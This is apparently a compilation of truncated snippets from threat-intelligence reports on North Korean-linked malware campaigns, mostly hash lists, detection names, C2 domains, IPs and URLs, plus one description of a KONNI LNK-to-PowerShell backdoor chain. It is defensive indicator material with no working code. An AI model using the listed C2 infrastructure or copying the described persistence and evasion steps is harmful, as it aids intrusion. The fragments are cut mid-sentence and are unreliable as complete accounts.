382bb72f7f42f27b04d1fedd6d633a82…","…Spear-Phishing Attack Cases ⚫ 5079606f26ead1c75dbd8731d7033dd6 ⚫ 349965d33186500a42ab6a6efa0befbc ⚫ d55edbe9569f3250784614157c9ffc68 ⚫ 537a11a7d53949c455852b71c6895287 Operation Double Barrel 62 C.…","…Number: {44311F94-C85D-4688-996A-4888F2D32062}, Code page: 1252, Template: x64;1033 MD5 0f03ec3487578cef2398b5b732631fec SHA1 349fb7c922fba6da4bf5c2a3a9e0735f11068dac SHA256 af4144c1f0236e6b59f40d88635ec54c2ef8034f6a96a83f5dbfd6b8ea2c0d49 SHA512…","…불분명한 파일의 실행을 자제해야한다. 현재 안랩 V3 제품은 해당 파일에 대해 다음과 같이 진단하고있다 [파일 진단] Downloader/VBS.Generic Trojan/Win.MSILKrypt.R492841 MD5 34b7356722b992992f5382b0761466bc 3ad7a29a1f661034da0b3779a4046849 5573953bf4dafa96877dacf3435db228 94fdc2115ce7f4ab0234a1e26901cb1c a15c386db0a3d0d208042d0982f21f37…","…atokyonews.com arcashop.org wassmestaazh.pro yayun88.one MD5 92b770b39e51c618a8556e2a5f8989a8 785028ccb1763c504626d3678a0c8fe7 34bd23adddc3ca5e252d89fed27225bd SHA-256…","…to the domain. b4bf6322c67a23553d5a9af6fcd9510eb613ffac963a21e32a9ced83132a09ba Tags downloadertrojan Details Name 34C2AC6DAA44116713F882694B6B41E8 Size 413696 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34c2ac6daa44116713f882694b6b41e8 SHA1…","…Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 d4d1bcdfb67ee30303f30137db752b94 SHA1 34e134d614a0d5b0e4d94d63336aa8b898b0b104 SHA256 bb430087484c1f4587c54efc75681eb60cf70956ef2a999a75ce7b563b8bd694 SHA512…","…IP List-- 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 Tags trojan Details Name 34E56056E5741F33D823859E77235ED9 Size 151552 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34e56056e5741f33d823859e77235ed9 SHA1…","…그리고 OS 및 인터넷 브라우저 등의 프로그램들에 대한 최신 패치 및 V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL…","…for OS and programs such as internet browsers and update V3 to the latest version to prevent malware infection in advance. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL…","…\"Simple indicator of observable {7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387}\", \"file\": {\"hash\": {\"md5\": [\"352715d5770b53768bf9f23d810ad55f\"], \"sha1\": [\"831dc7bc4a234907d94a889bcb60b7bedf1a1e13\"], \"sha256\": [\"7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387\"]}},…","…JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2 Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df Freenki 2016:…","…337edcca9ef27cfe1a76f4cffa676026 33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39 380d5a157077b7c8bdfe7c6d9628fe6d 382bb72f7f42f27b04d1fedd6d633a82 3d3f6897f57f4a7b94f83278e795dc18…","…(2024.04.12.00) Data/BIN.EncPe (2024.04.12.00) Infostealer/Win.Agent.R579429 (2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea AhnLab TIP 를 구독하시면 연관…","…(2024.04.12.00) Data/BIN.EncPe (2024.04.12.00) Infostealer/Win.Agent.R579429 (2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea Gain access to related…","…MD5 35545d891ea9370dfef9a8a2ab1cf95d SHA256 e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e Creation Time 2020-08-19 05:45:17 Export Table…","…정상적인 사용자를 사칭하여 악성 문서를 유포하는 정황이 확인되고 있어 메일 발신자의 주소를 확인하고 첨부파일 열람 및 본문에 포함된 링크 클릭에 주의해야 한다. [파일 진단] Downloader/DOC.Kimsuky MD5 357ef37979b02b08120895ae5175eb0a 7fe055d5aa72bd50470da61985e12a8a URL…","…(2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…(2023.05.05.01) MD5 3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea Gain access to related IOCs and detailed analysis by…","…Logfile.rar 4.32MB 파일명:Logfile.rar 사이즈:5 MB MD5:358daa9e787cc93d77e9dc81a9c41f33 SHA-1:7fdc52a6971a56a6a142364d0c5c95b34c848b97 SHA-256:aed56f5ebc45b6d04901359dde22b12935a28459cdf96a835a7b52d26f893e56 비밀번호는 다 알죠!…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 7a73178c682d1a61b2f1c61ae558b608 SHA1 358f4c8575c82f45340886f282d41ca0560cfa6e SHA256 527792dfab79f026eaa6930d2109c93e816ed31826dba0338a9223db71aced18 SHA512…","…This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path. D:\\Task\\DDE Attack\\MaoCheng\\Release\\Dropper.pdb The malware is a Win32 executable that…","…certificates issued by Let's Encrypt every few days. Our scanners last observed the most recent certificate, with a SHA-256 hash of 35A101941F438A7D072B31EB3B666E2C31A070DD7CF8099D20B738778FBD3458 , on October 25, 2024 . Threat actors frequently utilize Let's Encrypt to add legitimacy to malicious infrastructure while keeping costs…","…7b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f94…","…32 비트 기반으로 4 월 10 일 제작됐습니다 . 파일 종류 32Bit PE EXE File 크기 898,560 바이트 빌드 타임 2023-04-10 06:34:25 (UTC) MD5 35ac9f5ab3caba22c4ca204074cd8c01 SHA256 0c39d978e7e511bfa2eb5d188f8d6b9fe7916ed86e3f907f3a66b 38a0815feb0 [ 표 05] ‘body.table’ 파일 정보 Threat Intelligence…","…침해 지표 (Indicator of Compromise) MD5 9e94126e8a26efd10b2a5b179d64be90 35b4f28dd2d50dbf48e5c63c3ef5efb7 66e8096b9b061550314a82654ce0fabd 71d5270d1a165bb6dec144e16089450d 456d05566fc3391e195a5f9cb346c92c 25156a29ad636eb708104ec69b05e54b…","…Size 922624 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 a21171923ec09b9569f2baad496c9e16 SHA1 35ba8e39e6c8234ad55baf27130bb696179b7681 SHA256 133820ebac6e005737d5bb97a5db549490a9f210f4e95098bc9b0a7748f52d1f SHA512…","…wpcsvc.ini 6f325fb0a7de6f05490f1eb3c0e5826a44a11ed2dee4c17f486b8200f539d49e wpnprv.dll 35d38eed9168c16d2dd595fa9542a411080d12de971ea3d3c12dd5c44e454049 weapons.doc 31a9801e5e2e5fd7f66f23bc8456069b6a958e03838e431ccf7d84867f88c840 _weapons.doc.lnk…","…the code assumes it’s already running and terminates. IOC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 MD5 35d60d2723c649c97b414b3cb701df1c SHA-1 9944ce9354fb8961826339770ffc118000058271 SHA-256 6dfce07abc39e5d6aebd74a1850ad65cc6ce10a8540b551c4f6d441ec4cf48ab DOMAIN…","…c922de578 ea332de382c843e4d862323466fee3d94c3722e3e9e61c00bf2bdf379a7087af 8028b918d06cf3635e7e77d29cb0a4622d8cf4ee30881fb297435f7328ff45e4 35ddb63c0729a7e3019c026865ea195607a51943d8867607a26c006f0df6e594 06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a 5d25e53b59bd2dcf234c6819f8cd294efe6d943d04625b9d575002362794e74a 6263530f1…","…32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f 35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3 4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3…","…to connect to the domain. eee38c632c62ca95b5c66f8d39a18e23b9175845560af84b6a2f69b7f9b6ec1c Tags trojan Details Name 35E38D023B253C0CD9BD3E16AFC362A7 Size 129024 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 35e38d023b253c0cd9bd3e16afc362a7 SHA1…","…PE Metadata Compile Date 2017-06-06 11:34:06-04:00 Import Hash 360d26520c50825099ec61e97b01a43b PE Sections MD5 Name Raw Size Entropy 3bb2a7d6aab283c82ab853f536157ce2 header 1024 2.524087…","…repeated reuse of the same hosts, and overlap with known DPRK tradecraft observed in adjacent campaigns. The pivot over the second hash (36541fad68e79cdedb965b1afcdc45385646611aa72903ddbe9d4d064d7bffb9) reveals two exposed open directories on Hunt.io.…","…IOCs MD5 36677d732da69b7a81a46f9a06c36260 - SecDelivery.APK 3a2a9f205c79ee45a84e3d862884fd72 - auction_8.7.01.APK 27ea7ef88724c51bbe3ad42853bbc204 - vpn…","…of Compromise) MD5 c681fe3f42e82e9240afe97c23971cbc d44a22d2c969988a65c7d927e22364c8 28d0143718153bf04c1919a26bb70c2d 36be2cbb59cd1c3f745d5f80f9aee21c C2 japanroom.com 38.32.68.195 222.122.49.15…","…bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3703770e32820397c6e7e1e1221e6d0d 5d833bcc679db38a45111269e727ec58b75c8d31 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61…","…In addition, malware (MD5 3703c22e33629abd440483e0f60abf79) dropped by a malicious Word document in early 2018 – also attributed to Andariel – exhibits the same decryption routine. Code overlap…","…IoC (Indicator of Compromise) MD5 3715092aa00f380cefe8b4d2eddb7d08 7cef19f9c4480adac0cd4702ff98f46c 7eb9cee1f696727752169f25cf79a338 b6b0602310bb2d4360c52685119aac1b C2 crwellfood.com…","…detection # Document detection # Dropper detection Indicators of compromise [+] Hashes MD5 Description 37505b6ff02a679e70885ccd60c13f3b c156572dd81c3b0072f62484e90e47a0 Document…","…09a5069c9cc87af39bbb6356af2c1a36 11465d02b0d7231730f3c4202b0400b8 235e02eba12286e74e886b6c99e46fb7 2e325935b2d1d0a82e63ff2876482956 375f1cc32b6493662a78720c7d905bc3 URL http://195.50.242.110:8080/ http://beebeep.info/index.php http://www.jikji.pe.kr/xe/files/attach/binaries/102/663/image.gif…","…Filename 인권 설문지 .docx MD5 83b97826c43808c5caa1b69c9c7cbeb0 SHA1 375f71617fa5171a7ed24dacc1fd7f632a55eaab SHA256 6e3d7cdb6a506eba10f719c2ad5e5ef3d9a6bc84fb14789aa7c871200aa52816 5.4: AV detection…","…hash = \"b76b6bbda8703fa801898f843692ec1968e4b0c90dfae9764404c1a54abf650b\" hash = \"37a3c01bb5eaf7ecbcfbfde1aab848956d782bb84445384c961edebe8d0e9969\" hash = \"bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114\" hash =…","…(GUI) Intel 80386, for MS Windows MD5 a8b6ec51ed88c0329fd3329cb615bbc9 SHA1 f744f5f97ace1a4862e764971449c28c4b880e8f SHA256 37bb27f4eb40b8947e184afddba019001c12f97588e7f596ab6bc07f7c152602 SHA512…","…Downloader/DOC.Generic knla.dat : InfoStealer/Win.Agent.C4950322 Download DLL (Fileless) : Trojan/Win.Kimsuky.C4950244 MD5 37c7fd52c0102a461aa29b1772ecbe12 929a87be39ed3ad28e7285340f64414f b46ba113b1d461041af9f31ca8d5f916 da9816b60d9866b1b6d90a8e20e39623 URL…","…302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4 30d5f17d5e3f85be18220a7cab0b9fff 37cec428257cd41153cf43d7f1a12652 3b9d40f3d620ec87960b4350d42ccc03 3e2110d233d4543830e14c78d53900f4 422a221851ea6ad15f53cd3aea51c8af…","…PDBPath PDBPath for malicious TightVNC 37e30dc2faaabaf93f0539ffbde032461ab63a2c242fbe6e1f60a22344c8a334 SHA-256 Malicious TightVNC 14f736b7df6a35c29eaed82a47fc0a248684960aa8f2222b5ab8cdad28ead745 SHA-256 Malicious TightVNC NOTE: These…","…two endpoints Normalized headers SHA-256: b4a66cb1a4981970b8a7084e79b3de7f46bb8cb75cc313768b01e0db8450efa9 Response body SHA-256: 37ec4665a8102d115ffd1ac20dae94c98b4dac64b0c1a68228aa2a531caeb35d Use shared fingerprints alongside domains, certificate details and observation dates to identify related infrastructure.…","…IOC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Upbit_20240916.docx.lnk MD5 37fb639a295daa760c739bc21c553406 SHA-1 50e4d8a112e4aad2c984d22f83c80c8723f232da SHA-256 41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229…","…07b1b4 578689cb4b06c4d3f1850e4379c4b31f49170749c66b9576e1088f59fc891da2 2b2583019d83e657c219dd6510060f98ead8679e913d63c7f2ed5c52c0c2bb35 37feb1d71c6458f71b27dc1ba7cb4366ee30f9ae75b0322775fa70b8753eac27 a1f6ae788bf3f9ae17893f3b12d557f69b17fdb4f030ed5e5f66dbb6d2cc9d78 01e7405ddd5545ffb4a57040acc4b6f8b8a5cc328fa8172e1800a1cb49bdf15c 012063…","…SHA1 5f549663a4836ee2ea82c79aa786f2541cd8f421 37ff1f0febf3131bd82dcfd30bb83f96b04aed7b 17f9e40a0315699e7b7e69397b661d5af66dd871 4d056026488c0c9a2e15d915fde87dbe202b3126 Remediation Always be suspicious about emails…","…33cd80a0b3059c23eadcf263ddbb330f 348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39 380d5a157077b7c8bdfe7c6d9628fe6d 382bb72f7f42f27b04d1fedd6d633a82 3d3f6897f57f4a7b94f83278e795dc18 40b48810400a825858946aae9ff5b50d…","…348150ce9f3c49283c16d9b37e6dc354 353311ea9b82724aa862477cae44cd39 380d5a157077b7c8bdfe7c6d9628fe6d 382bb72f7f42f27b04d1fedd6d633a82 3d3f6897f57f4a7b94f83278e795dc18 40b48810400a825858946aae9ff5b50d 4f5694f61b4c244cc2269c3a5eb8a7c7…","…268328 2c523736994639172ee7375a8e1392081f699ae0cc397015e1cad47ce44cfded 2c7a76c85a182bf4045afe2180d1d845ddbfca6044995f2273c77cbeb1e42f8a 38368ada36a1d98bbc55408e26a2219ec60e0e53c8d34d67fd010af574f84e5a 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe 493aadefcf45642c34b4d84a84a41da9ac173b52c3217f62b3e25ece6379bd94 55e69e…","…Property Value SHA-256 384255ba8bea8997dce5a6a9c4b4352279343000821128342e6960dbcc14bbe0 MD5 f10d35fedb6aa986cef4c113edfdef26 SHA-1 ed02996ba97457166406d1d3230ef177fec67913 Size 101.66 MB…","…// ghost.npl MD5:ea31f66a5164a394ce3a7253db49dd79 // package.json MD5:4d7d3dfd3d99727f450ee0883e9f60e2 // stager_mac.sh MD5:38614d05a905eab3a0885b637bfbb8e8 // stager_nix.sh MD5:2e3fdb5b8befdb9b48cb1a5468dfc164 // stager_win.ps1 MD5:b42652763f78183cf779811dc2cb13bb //…","…SHA1 456987068ff42f8db6ff8e3af8b82e785b010c7f 3872ff7378ab6b155c9af26285f1a9ff9d496f76 f61032939e029de3dd03c223c8bcb384a9237f50 Remediation Block all threat indicators at your respective controls. Search for…","…57 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 389172d2794d789727b9f7d01ec27f75 Domains: googleservice.xyz docstream.online isosecurity.xyz filestream.download coinbigex.com coinbig.dev galaxydigital.cloud krak…","…DPRK-associated IP addresses: 23.254.244.248 and 23.254.247.32 HTTP Certificate: A certificate with the SHA1 fingerprint 38eaff53184ebca9046c2f10161c664ceb10d0c1 also connects to the same two previously-reported DPRK-associated IP addresses 23.254.244.248 and 23.254.247.32 and was returned with…","…5ab26df9c161a6c5f0497fde381d7fca 8f82226b2f24d470c02f6664f67f23f7 09b91626507a62121a4bdb08debb3ed9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 82…","…name instead of naver.com. 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 Tags trojan Details Name 38FC56965DCCD18F39F8A945F6EBC439 Size 122880 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 38fc56965dccd18f39f8a945f6ebc439 SHA1…","…로직이 추가된 golddragon/braveprince 악성코드 md5 : E647B3366DC836C1F63BDC5BA2AEF3A9 sha1 : A7B0711B45081768817E85D6FC76E23093093F87 sha256 : 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6D5 E11E2425C62F34EBB3F640BAEEFB67D5 7DC6F8AAAF4431C365564A51DD37C143D857B89E…","…파일명 타임스탬프 (UTC) MD5 invoice.sca (decode) 2020-03-02 23:32:17 392647675E8DFCD2602B4FFE38A19E2B [그림 8] 페이로드 디코딩 비교 화면 디코딩된 악성코드는 pCloud 액세스 토큰 데이터를 활용해 클라우드 서버로 통신을 수행하고 각종 시스템 정보를 수집해 탈취를 시도하고 공격자…","…2) https://thehackernews.com/2023/03/scarcrufts-evolving-arsenal-researchers.html MD5 393cba61a23bf8159053e352abdd1a76 a25acc6c420a1bb0fdc9456b4834c1b4 URL http://hmcks.realma.r-e.kr/gl/ee.txt AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로…","…valuable context to monitor adversary activity and understand their operational methods. Certificate Hashes *.nidcheck.o-r.kr - 393CBD41F14B1C55BDE92A32E10B5D65384E33A97C77F352BD90FDB8FD5D73AE *.againcheck.site - 5F2C65E695D85395634E7AB561242425E6EF281CE2E14A0D5C1704ED593CFA5F *.checkmail.kro.kr -…","…[+] Indicators of Compromise SHA256 (artifact): 396eaff05bf3eebd90e8a4981b79ee9acfed0e95365f2d3151aefa3cd5aefbaa SHA256 (artifact): 8863dc53aba8dbaa7a76ab4653d54a4a7412dc9bb986b8fe1d3d8350bbb730f1 SHA256 (artifact):…","…Last Modified Date (KST) 2019-02-25 02:26 Last Modified Name JamFedura C2 http://192.186.142.74/post/Yluhi0.hta MD5 397ba1d0601558dfe34cd5aafaedd18e File Name white_paper.doc Last Modified Date (KST) 2019-02-26 15:40 Last Modified Name JamFedura C2…","…MD5 SHA1 SHA256 Malicious ICO File d232fa2eabc03123517a78936a18448b 3992dbe9e0b23e0d4ca487faffeb004bcfe9ecc8 c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 MD5 SHA1 SHA256 Malicious ICO File…","…IOC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 MD5 12539ac37a81cc2e19338a67d237f833 SHA-1 39a61c4d9d25c8ed1b38b1a51a8ef0b5cf51ce10 SHA-256 db18e23bebb8581ba5670201cea98ccf71ecea70d64856b96c56c63c61b91bbe C2…","…최초 유포는 주로 스피어 피싱 메일을 통해 이루어지므로 출처가 불분명한 사용자의 첨부 파일은 되도록 열지 않도록 주의가 필요하다. MD5 39b39ca9cbf9b271590d06dfc68a68b7 6b10482c939fc33c3a45a17f021df32b 851e33373114fef45d0fe28c6934fa73 9ac572bdca96a833a40edcaa91e04c2b c99f6d1c7c0d55ce1453dd08c87ee2b4…","…Struggle Cases ⚫ 39b40d925c5f28a481e30c2d38feca4f ⚫ 44d4022f67e2ab9f731cb0df9adc36c0 ⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫…","…#1 SHA256: 3de491de3f39c599954bdbf08bba3bab9e4a1d2c64141b03a866c08ef867c9d1 Filename: adobe distillist.lnk #2 SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 Filename: winload.exe #3 SHA256: dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d Filename: winload.dll CC…","…(GUI) Intel 80386, for MS Windows MD5 89081f2e14e9266de8c042629b764926 SHA1 730c1b9e950932736fc4b02cbdb4e4e891485ac2 SHA256 39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655 SHA512…","…function, but on a Windows environment. MD5: 89081f2e14e9266de8c042629b764926 SHA1: 730c1b9e950932736fc4b02cbdb4e4e891485ac2 SHA256: 39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655 Curiously, this file contains a compilation stamp of 2018-06-13 06:17:06 but was digitally signed on 7:43 AM 6/20/2019 .…","…Name jmttrader_mac.dmg Size 13583316 bytes Type zlib compressed data MD5 39cdf04be2ed479e0b4489ff37f95bbe SHA1 74390fba9445188f2489959cb289e73c6fbe58e4 SHA256 4d6078fc1ea6d3cd65c3ceabf65961689c5bc2d81f18c55b859211a60c141806 SHA512…","…IOCs MD5 36677d732da69b7a81a46f9a06c36260 - SecDelivery.APK 3a2a9f205c79ee45a84e3d862884fd72 - auction_8.7.01.APK 27ea7ef88724c51bbe3ad42853bbc204 - vpn APK 86da5e00a9c73c9cb0855805cbc38c4a -…","…XCOFF executable or object module MD5 d790997dd950bb39229dc5bd3c2047ff SHA1 7e6407c28c55475aa81853fac984267058627877 SHA256 3a5ba44f140821849de2d82d5a137c3bb5a736130dddb86b296d94e6b421594c SHA512…","…sha1 : 322AD36BF0DB8244B64E2D3AFC1CCF5ED6685DF3 sha256 : 51a92bd57ece4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752 md5 : 3A7355417EBFDB5067582916BBAF0F15 sha1 : E8BEF41ED7D0704D9206880EE0F30B5ECF30F204 sha256 : 0CF7E1268E8652D841B7BDA784707E445B9CDC2A46FFB375C8F239CB4C551F73…","…b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585 6e1ce18cb9065bf0ea91fc5c2817e941 7c22515a47e94581cc7b62b88a205808 8efee9143c9bc4dc3cd8cf2ef5a87656…","…Win64/NukeSped.DI Win64/NukeSped.DK Win64/NukeSped.EP SHA-1 of signed samples 3D311117D09F4A6AD300E471C2FB2B3C63344B1D 3ABFEC6FC3445759730789D4322B0BE73DC695C7 SHA-1 of samples 5CE3CDFB61F3097E5974F5A07CF0BD2186585776 FAC3FB1C20F2A56887BDBA892E470700C76C81BA…","…제품은 해당 파일에 대해 다음과 같이 진단하고있다 [파일 진단] Downloader/VBS.Generic Trojan/Win.MSILKrypt.R492841 MD5 34b7356722b992992f5382b0761466bc 3ad7a29a1f661034da0b3779a4046849 5573953bf4dafa96877dacf3435db228 94fdc2115ce7f4ab0234a1e26901cb1c a15c386db0a3d0d208042d0982f21f37 URL…","…신기술적용장비군활용검토회 참여 신청서 .hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 3b06e73ccb903b71f9ff1a60218f4b42 [ 표 14] ‘ 17 년육군 IT ~ .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 우수신기술 국산 상용 SW 소요 제출 (SW).hwp 경로 D: \\ HighSchool \\ version…","…files do not contain embedded config with default C2 domain. Malware 14: Privilege d Execution Batch Name: msdtc.bat MD5: 3b1dfeb298d0fb27c31944907d900c1d SHA1: b9353e2e22cb69a9cd967181107113a12197c645 Size: 454 bytes Type: Windows batch file Used in: Polish bank The following…","…84210e 9255280904f85d01545d295a31038678d697325385be6c7c01435d541f16b043 d1b5d606c866c304c3eb28fc52ed700c6b292e6e4387e0dac1a895e231bfe5b3 3b2701a7d49a8d6002a2a202bac9b18b4bc917009da01591ab5b66f183f9c8e9 aead266f97c936799f4d5f526482d41f74daf86f8fcf49976eecbc6260b59274 327426b389a87fb41c5150f18c8a3b1b5c671eb08107a3a6917baea3db686555 ac4f6b…","…SHA256 f5563f0e63d9deed90b683a15ebd2a1fda6b72987742afb40a1202ddb9e867d0 Payload SHA256 3b33b0739107411b978c3cbafb312a44b7488bd7adabae3e7b02059240b6dc83 Payload SHA256 f53d4b3eb76851e88c6f30f1ecc67796bbd6678b8e2e9bc0a8f2582c42a467c6 Payload…","…f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952 7faea2b01796b80d180399040bb69835 3b3e778b647371262120a523eb873c20bb82beaf 8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423 cad1120d91b812acafef7175f949dd1b09c6c21a…","…Name(s) N/A Size 1.1MB (1182208 Bytes) File Type application/x-dosexec MD5 7faea2b01796b80d180399040bb69835 SHA1 3b3e778b647371262120a523eb873c20bb82beaf SHA256 8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423 The DLL retrieves the hostname, domain name, and OS…","…d8b7b98cf084d90abdbd6b3bc10aa9da4cac69465a1f74 SHA-256 GSRAT 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d SHA-256 GSRAT 3b4a56b6d86393fa0c058cdd3d26809ef6c956fb6b69fac9d84f9212d5db7ee1 SHA-256 GSRAT e9239ba649aec746e3c0088bc56400460b4a03e5f2df132ec7e47c14ccb70c0c SHA-256 Custom Lilith…","A self-thread the researcher tags #DPRK #KONNI, describing an invitation to a fake Sanctum and Superteam Korea event during Korea Blockchain Week in Seoul. The LNK runs conhost and PowerShell, carves a decoy PDF and an XOR-encoded payload out of itself, writes the payload to a .err file under C:\\ProgramData\\Diagnosis and registers a scheduled task that runs a PowerShell backdoor every 30 minutes, falling back to SYSTEM. The backdoor talks to a PHP endpoint on an InfinityFree subdomain and exits if any of 53 analysis tools is running. The four hashes are, in order, the ZIP, the .err payload, the PowerShell script and the decoy PDF, as the thread labels them; the decoy is the lure document itself, not malicious code.","…MD5 TrollAgent DLL 045f28a479ba19a95c0407a663e2f188 MD5 TrollAgent DLL a67cf9add2905c11f5c466bc01d554b0 MD5 TrollAgent DLL 3b596ca429cf1b733f1ff3676189e44a MD5 TrollAgent DLL 88f183304b99c897aacfa321d58e1840 MD5 TrollAgent DLL http://ar.kostin.p-e.kr/index.php URL C2 Server…","…SHA-256 c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410 SHA1 f9ec5982db1f1719d25337dc045f11cbf9fef959 33f7b924363ca6cd73e0860466b9c9150120e36c Remediation Block all threat indicators…","…00dfce9ad207f77397dbbb6791d64a9e 1d475427100ad95edca070d75fa3b267 2c0fbdb97439e079bbd8919c39598508 36d2be6eb548aee37852f7fbf38dcf30 3b76316810d61e114015af617c5d0408 FQDN websecuritynotices.com IP 104.167.16.97 Tags: APT31 APT41 APTDown Beacon…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2008-01-17 10:34:19-05:00 Import Hash 3b7df90688bca84764a888c49f25e8b9 PE Sections MD5 Name Raw Size Entropy 064a795c4019629fd03c3d47c823cd49 header 1024 3.330520…","…differ: 85.137.56.245 leaf SHA-256 fcd60ed3712f0f2ce8d5a73f550fdf99de485a1d021ad4ba37ca86672fe09d68 213.111.148.242 leaf SHA-256 3b87a8b5867c89d2943eeb518436a11c335972ed3f962506025ef4e20bdbfad6 Shared normalized headers mmh3: -1696723326 Shared normalized headers SHA-1: 7b0e49eb35765d1455b506b9b5e7820d18167760 Shared body mmh3:…","…incident, and also payloads from the cryptocurrency campaigns from 2022-12\" author = \"ESET Research\" date = \"2023-03-31\" hash = \"3B88CDA62CDD918B62EF5AA8C5A73A46F176D18B\" hash = \"CAD1120D91B812ACAFEF7175F949DD1B09C6C21A\" hash = \"5B03294B72C0CAA5FB20E7817002C600645EB475\" hash =…","…⚫ 